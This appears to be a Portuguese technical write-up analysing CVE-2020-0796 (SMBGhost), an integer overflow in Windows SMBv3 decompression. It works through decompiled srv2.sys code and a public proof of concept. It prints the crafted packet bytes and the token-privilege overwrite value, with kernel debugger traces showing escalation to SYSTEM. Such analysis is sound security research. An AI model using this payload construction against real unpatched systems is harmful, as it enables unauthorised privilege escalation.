datntsec/cve-2020-0796Análise técnica e prova de conceito para CVE-2020-0796 (SMBGhost), uma vulnerabilidade de estouro de inteiro na compressão SMBv3 que leva a escalada de privilégio local no Windows 10/Server.
A funcionalidade de compressão adicionada ao SMBv3 a partir da versão 1903 dos sistemas operacionais Windows 10/Server contém uma vulnerabilidade de estouro de inteiro confirmada pela Microsoft em 12/03/2020. Permite que um atacante execute escalonamento de privilégio local (LPE) e execução remota de código (RCE). Aqui, abordaremos apenas a vulnerabilidade LPE.
Versões afetadas:
Análise do arquivo srv2.sys, observa-se que as funções relacionadas à descompressão são chamadas da seguinte forma:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
Primeiro, a função `Srv2ReceiveHandler` é chamada para receber um pacote de dados smb e chamar uma função correspondente ao protocolo `ProtocolId`. Se `PrococolId` = 0x424D53FC, ela chamará a função `Srv2DecompressMessageAsync`, que por sua vez chamará a função `Srv2DecompressData` para descomprimir o pacote de dados. A função `Srv2DecompressData` chamará a função `SrvNetAllocateBuffer` para alocar um `Alloc` usado para armazenar os dados após a descompressão, em seguida chamará a função `SmbCompressionDecompress` para realizar a descompressão do pacote de dados e, por fim, chamará a função `memcpy`. Assim, todo o processo de Decompress terá as seguintes etapas principais:
- 1. Allocate
- 2. Decompress
- 3. Copy
De acordo com a documentação fornecida pela Microsoft, a estrutura `COMPRESSION_TRANSFORM_HEADER` é usada para enviar e receber dados comprimidos entre cliente e servidor. Ela possui a seguinte estrutura:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
Aqui nós focamos apenas nos 2 campos principais acima:
OriginalCompressedSegmentSize é o tamanho do segmento de dados descomprimidos, em bytes.Offset é o deslocamento em bytes entre o início dos dados comprimidos e o fim da estrutura _COMPRESSION_TRANSFORM_HEADER.Assim, o pacote de dados comprimidos terá a seguinte forma:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
Análise da função `Srv2DecompressData`, nota-se que a função recebe um pacote de dados comprimidos `COMPRESSION_TRANSFORM_HEADER` (Header), realiza a alocação de uma região de memória (Alloc) usando a função `SrvNetAllocateBuffer` com parâmetros sendo a soma de `Header->OriginalCompressedSegmentSize` + `Header->Offset`, em seguida descomprime os dados comprimidos e copia os dados não comprimidos para `Alloc->Buffer`.
O erro de integer overflow ocorre quando `Srv2DecompressData` chama a função `SrvNetAllocateBuffer`. A função `SrvNetAllocateBuffer` na verdade recebe dois valores de 64 bits, mas ao chamar `SrvNetAllocateBuffer`, `Srv2DecompressData` apenas passa para ela dois valores de 32 bits (ULONG). Enquanto isso, tanto `OriginalCompressedSegmentSize` quanto `Offset` são ULONG, e ao somá-los, pode resultar em um número maior que 32 bits. Por isso, ocorre o erro de integer overflow (entendido de forma simples: ao somar 0xffffffff (`OriginalCompressedSegmentSize`) com 0x10 (`Offset`), resulta no valor 0xf0000000f, mas a função `SrvNetAllocateBuffer` recebe apenas o valor 0x0000000f).
O erro de integer overflow levará a uma alocação incorreta da região de memória Alloc (o tamanho necessário para alocação é menor que o tamanho real), podendo causar um erro de buffer overflow:
Para saber se o erro de buffer overflow ocorre, e como ocorre, vamos analisar as funções `SrvNetAllocateBuffer` e `SmbCompressionDecompress`.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
O código acima é retirado do pseudocódigo do IDA Pro, parece bastante confuso. No entanto, podemos entender simplesmente olhando para o código reescrito por Zecops:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
A função `SrvNetAllocateBuffer` receberá o tamanho necessário para alocação, depois verifica se o tamanho é maior que 0x100100; se for maior, retorna NULL. Esta função também verifica a variável `SrvDisableNetBufferLookAsideList`, no entanto, não encontrei nenhuma documentação sobre essa variável, e ela é definida como 0 por padrão, então provavelmente não é muito importante.
Se a condição for atendida, a função continua a calcular um valor de índice com base no `AllocSize` recebido, depois obtém um valor do array `SrvNetBufferLookasides` (este array tem 9 elementos) com base no índice calculado e procede à alocação. A partir do código assembly, Zecops usou `python` para calcular os tamanhos correspondentes a cada índice:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
Assim, para uma requisição de alocação de tamanho menor ou igual a 0x1100, a função alocará uma região de memória de tamanho 0x1100; para uma requisição de alocação de tamanho maior que 0x1100 e menor ou igual a 0x2100, a função alocará uma região de memória de tamanho 0x2100, e assim sucessivamente para requisições maiores.
Após a alocação, a função retornará um endereço que armazena uma estrutura que Zcops nomeou como ALLOCATION_HEADER. De acordo com a investigação, essa estrutura contém os seguintes dados:
Um ponto interessante é que ALLOCATION_HEADER está localizado imediatamente abaixo de ALLOCATION_HEADER->UserBuffer; se for possível ocorrer um buffer overflow em UserBuffer, podemos escrever valores arbitrários em ALLOCATION_HEADER.
Em seguida, veremos o que a função SmbCompressionDecompress faz:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
Código acima foi retirado do pseudocódigo do IDA, se você não entender o que o código acima faz, pode ver o código reescrito por Zecops:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
Esta função basicamente realiza a descompressão de dados comprimidos e armazena em Alloc->UserBuffer + Offset. Se a descompressão for bem-sucedida, o parâmetro FinalCompressedSize será atribuído igual ao parâmetro CompressedBufferSize, que é o valor OriginalCompressedSegmentSize passado da função Srv2DecompressData.
Voltando à função Srv2DecompressData, após executar a função SmbCompressionDecompress, a função continuará comparando se os valores FinalCompressedSize e OriginalCompressedSegmentSize são iguais ou não, e se o Status retornado é < 0.``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
Como dito acima, se a descompressão for bem-sucedida, `FinalCompressedSize` e `OriginalCompressedSegmentSize` serão iguais e o `Status` retornado será maior ou igual a 0. Portanto, se a descompressão for bem-sucedida, o código dentro da função if acima não será executado. Vamos analisar o próximo trecho de código:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Este trecho de código verificará se Header->Offset > 0. O valor Offset é o desvio entre a área de dados comprimidos e o final do Header, correspondendo ao tamanho da área de dados não comprimida. Em seguida, chama a função memcpy para copiar a área de dados não comprimida para o início de Alloc->UserBuffer.
Assim, se for possível usar um erro de buffer overflow, sobrescrever a área Alloc Header para alterar o valor do ponteiro Alloc->UserBuffer para o endereço A, o endereço A conterá dados não descomprimidos enviados pelo cliente. Para entender melhor, analisaremos o POC de Daniel García Gutiérrez (@danigargu) e Manuel Blanco Parajón (@dialluvioso_), e depois faremos debug para compreender melhor.
O POC realiza o seguinte:
Obtém seu próprio token.
Cria um array buffer de tamanho 0x1110, armazena no início do array 0x1108 caracteres 'A', depois armazena o valor [Token + 0x40] obtido anteriormente. O propósito disso será explicado mais adiante.
Comprime os dados no array buffer e armazena no array compressed_buffer.
Cria um array buf contendo os dados conforme abaixo:``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
- Depois, crie um array `packet` com tamanho: `sizeof(buf) + 0x10 + len`, com `len` sendo o tamanho do `buffer` após a compressão acima (tamanho dos **dados** do `compressed_buffer`).
- Copie os dados do array `buf` para `packet`, em seguida copie o valor `0x1FF2FFFFBC` e depois os dados do array `compressed_buffer`:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
Envie o packet para o servidor SMB.
Após a etapa acima, o programa POC foi elevado ao privilégio system, em seguida o POC irá OpenProcess winlogon.exe e injetar shellcode para abrir cmd.
A seguir explicarei as dificuldades no POC mencionadas acima.
Por que o array buffer precisa ser criado com o tamanho de 0x1110 bytes, e armazenar 0x1108 caracteres 'A' e um valor [token + 0x40]. Em geral, o objetivo deste POC é usar as funções do SMB para alterar o valor token->Privileges dele mesmo ([Token + 0x40]).
Na parte do cabeçalho SMB, devemos nos atentar ao original decompressed size e Offset, que têm respectivamente os valores 0xffffffff e 0x00000010. O objetivo é fazer o SMB sofrer um integer overflow, e assim alocar um array Alloc->Buffer com tamanho de apenas 0x1100 (< 0x1110 + tamanho dos dados brutos).
O valor 0x1FF2FFFFBC é armazenado nos 0x10 bytes após o cabeçalho, que é um valor armazenado em token->Privileges->Present e token->Privileges->Enabled de um processo SYSTEM, correspondendo ao fato de que se um processo tiver token->Privileges->Present e token->Privileges->Enabled iguais a 0x1FF2FFFFBC, esse processo terá privilégios como um processo SYSTEM.
A partir das informações acima, podemos supor que o POC deseja que as funções do SMB alterem o valor de token->Privileges->Present e token->Privileges->Enabled dele para 0x1FF2FFFFBC. Para saber com exatidão, iremos para a parte de depuração do kernel.
Primeiro, colocamos um breakpoint no início da função Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData
Em seguida, execute o POC, a função `Srv2DecompressData` será chamada, o kernel irá parar no início da função `srv2!Srv2DecompressData`.
Proceda para visualizar os dados do Header:```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
Estes são os dados do array packet que o POC enviou ao SMB conforme análise do POC acima, os primeiros 0x10 bytes são o cabeçalho SMB, os próximos 0x10 bytes contêm 2 vezes o valor 0x1FF2FFFFBC como a área de dados brutos, e os próximos 0x13 bytes são os dados do buffer compactados. Assim, o tamanho total do cabeçalho é 0x33 bytes.
Indo para a chamada da função SrvNetAllocateBuffer para verificar os parâmetros passados, de fato a função SrvNetAllocateBuffer recebe os parâmetros 0xf e null.
O valor de retorno da função SrvNetAllocateBuffer é um ponteiro que aponta para uma estrutura ALLOCATION_HEADER (conforme referido neste artigo).```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029
Em seguida, a função `SmbCompressionDecompress` será chamada, ela irá descomprimir e escrever os dados descomprimidos em `Alloc->Buffer + Header -> Offset````
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000
Neste momento, Alloc->Buffer foi sobrescrito para o endereço [Token + 0x40]. A função Srv2DecompressData procede a chamar memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); para copiar dados brutos para Alloc->UserBuffer. No entanto, Alloc->UserBuffer foi sobrescrito para Token->Privileges, então os dados brutos serão escritos em Token->Privileges:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000
Aqui, o programa POC já tem privilégio SYSTEM, o próximo passo é abrir um programa SYSTEM (winlogon.exe) e injetar shellcode para abrir cmd.
# Referências
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>